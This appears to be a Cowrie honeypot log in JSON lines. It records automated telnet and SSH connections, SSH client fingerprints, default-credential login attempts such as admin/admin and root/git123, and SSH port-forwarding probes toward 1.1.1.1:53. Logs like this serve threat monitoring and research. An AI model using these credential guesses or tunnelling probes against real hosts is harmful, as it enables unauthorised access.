{"eventid":"cowrie.session.closed","duration":120.00463771820068,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:15:07.508819Z","src_ip":"208.157.164.62","session":"751109994216","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.157.164.62","src_port":50325,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd0bef3c64fb","protocol":"telnet","message":"New connection: 208.157.164.62:50325 (10.17.0.5:23) [session: dd0bef3c64fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:15:09.195308Z"}
{"eventid":"cowrie.session.closed","duration":120.00290703773499,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:15:11.598943Z","src_ip":"208.157.164.62","session":"188d11c4f2e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.254.178.68","src_port":56848,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cfccb1c528b","protocol":"telnet","message":"New connection: 38.254.178.68:56848 (10.17.0.5:23) [session: 9cfccb1c528b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:15:49.002551Z"}
{"eventid":"cowrie.session.closed","duration":12.313386678695679,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:16:01.315832Z","src_ip":"38.254.178.68","session":"9cfccb1c528b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7498,"dst_ip":"10.17.0.5","dst_port":22,"session":"013aad55212e","protocol":"ssh","message":"New connection: 87.251.64.176:7498 (10.17.0.5:22) [session: 013aad55212e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:16:09.790685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:16:09.795913Z","src_ip":"87.251.64.176","session":"013aad55212e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:16:09.892754Z","src_ip":"87.251.64.176","session":"013aad55212e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:16:10.183025Z","src_ip":"87.251.64.176","session":"013aad55212e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:16:10.282086Z","session":"013aad55212e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:16:10.381087Z","src_ip":"87.251.64.176","session":"013aad55212e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:16:10.646770Z","src_ip":"87.251.64.176","session":"013aad55212e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00839519500732,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:17:09.203589Z","src_ip":"208.157.164.62","session":"dd0bef3c64fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":54934,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa5c9f55b9d3","protocol":"ssh","message":"New connection: 87.251.64.176:54934 (10.17.0.5:22) [session: aa5c9f55b9d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:17:53.599873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:17:53.603331Z","src_ip":"87.251.64.176","session":"aa5c9f55b9d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:17:53.699599Z","src_ip":"87.251.64.176","session":"aa5c9f55b9d3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:17:53.990226Z","src_ip":"87.251.64.176","session":"aa5c9f55b9d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:17:54.089352Z","session":"aa5c9f55b9d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:17:54.186936Z","src_ip":"87.251.64.176","session":"aa5c9f55b9d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:17:54.422392Z","src_ip":"87.251.64.176","session":"aa5c9f55b9d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.180.12.23","src_port":56526,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e57384b8449","protocol":"telnet","message":"New connection: 194.180.12.23:56526 (159.203.135.109:23) [session: 6e57384b8449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:18:55.650207Z"}
{"eventid":"cowrie.session.connect","src_ip":"106.241.31.17","src_port":14111,"dst_ip":"159.203.135.109","dst_port":22,"session":"a37050d653d8","protocol":"ssh","message":"New connection: 106.241.31.17:14111 (159.203.135.109:22) [session: a37050d653d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:19:35.916867Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:19:36.123645Z","src_ip":"106.241.31.17","session":"a37050d653d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.241.31.17","src_port":15968,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebdf09613043","protocol":"ssh","message":"New connection: 106.241.31.17:15968 (159.203.135.109:22) [session: ebdf09613043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:19:36.313203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:19:36.317982Z","src_ip":"106.241.31.17","session":"ebdf09613043","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:19:36.517633Z","src_ip":"106.241.31.17","session":"ebdf09613043","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"git123","message":"login attempt [root/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:19:37.124849Z","src_ip":"106.241.31.17","session":"ebdf09613043","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:19:38.326349Z","src_ip":"106.241.31.17","session":"ebdf09613043","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01485681533813,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:20:55.664945Z","src_ip":"194.180.12.23","session":"6e57384b8449","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":1452,"dst_ip":"10.17.0.5","dst_port":22,"session":"519eb31c41d8","protocol":"ssh","message":"New connection: 87.251.64.176:1452 (10.17.0.5:22) [session: 519eb31c41d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:21:56.296385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:21:56.303731Z","src_ip":"87.251.64.176","session":"519eb31c41d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:21:56.399671Z","src_ip":"87.251.64.176","session":"519eb31c41d8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:21:56.687798Z","src_ip":"87.251.64.176","session":"519eb31c41d8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:21:56.787349Z","session":"519eb31c41d8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:21:56.886017Z","src_ip":"87.251.64.176","session":"519eb31c41d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:21:56.984880Z","src_ip":"87.251.64.176","session":"519eb31c41d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":24214,"dst_ip":"159.203.135.109","dst_port":22,"session":"90c5c720d579","protocol":"ssh","message":"New connection: 194.59.206.2:24214 (159.203.135.109:22) [session: 90c5c720d579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:22:11.559453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:22:11.574808Z","src_ip":"194.59.206.2","session":"90c5c720d579","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:22:11.648252Z","src_ip":"194.59.206.2","session":"90c5c720d579","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:22:11.828532Z","src_ip":"194.59.206.2","session":"90c5c720d579","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.117.58.230","src_port":54892,"dst_ip":"159.203.135.109","dst_port":23,"session":"c255a6ce09bf","protocol":"telnet","message":"New connection: 89.117.58.230:54892 (159.203.135.109:23) [session: c255a6ce09bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:22:42.234465Z"}
{"eventid":"cowrie.session.closed","duration":30.83529543876648,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:23:13.069630Z","src_ip":"89.117.58.230","session":"c255a6ce09bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":35456,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ff104574974","protocol":"telnet","message":"New connection: 199.103.57.63:35456 (159.203.135.109:23) [session: 2ff104574974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:25:45.150318Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":28952,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9cc845601ae","protocol":"ssh","message":"New connection: 87.251.64.176:28952 (10.17.0.5:22) [session: b9cc845601ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:26:10.796947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:26:10.801767Z","src_ip":"87.251.64.176","session":"b9cc845601ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:26:10.900012Z","src_ip":"87.251.64.176","session":"b9cc845601ae","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:26:11.192819Z","src_ip":"87.251.64.176","session":"b9cc845601ae","protocol":"ssh"}
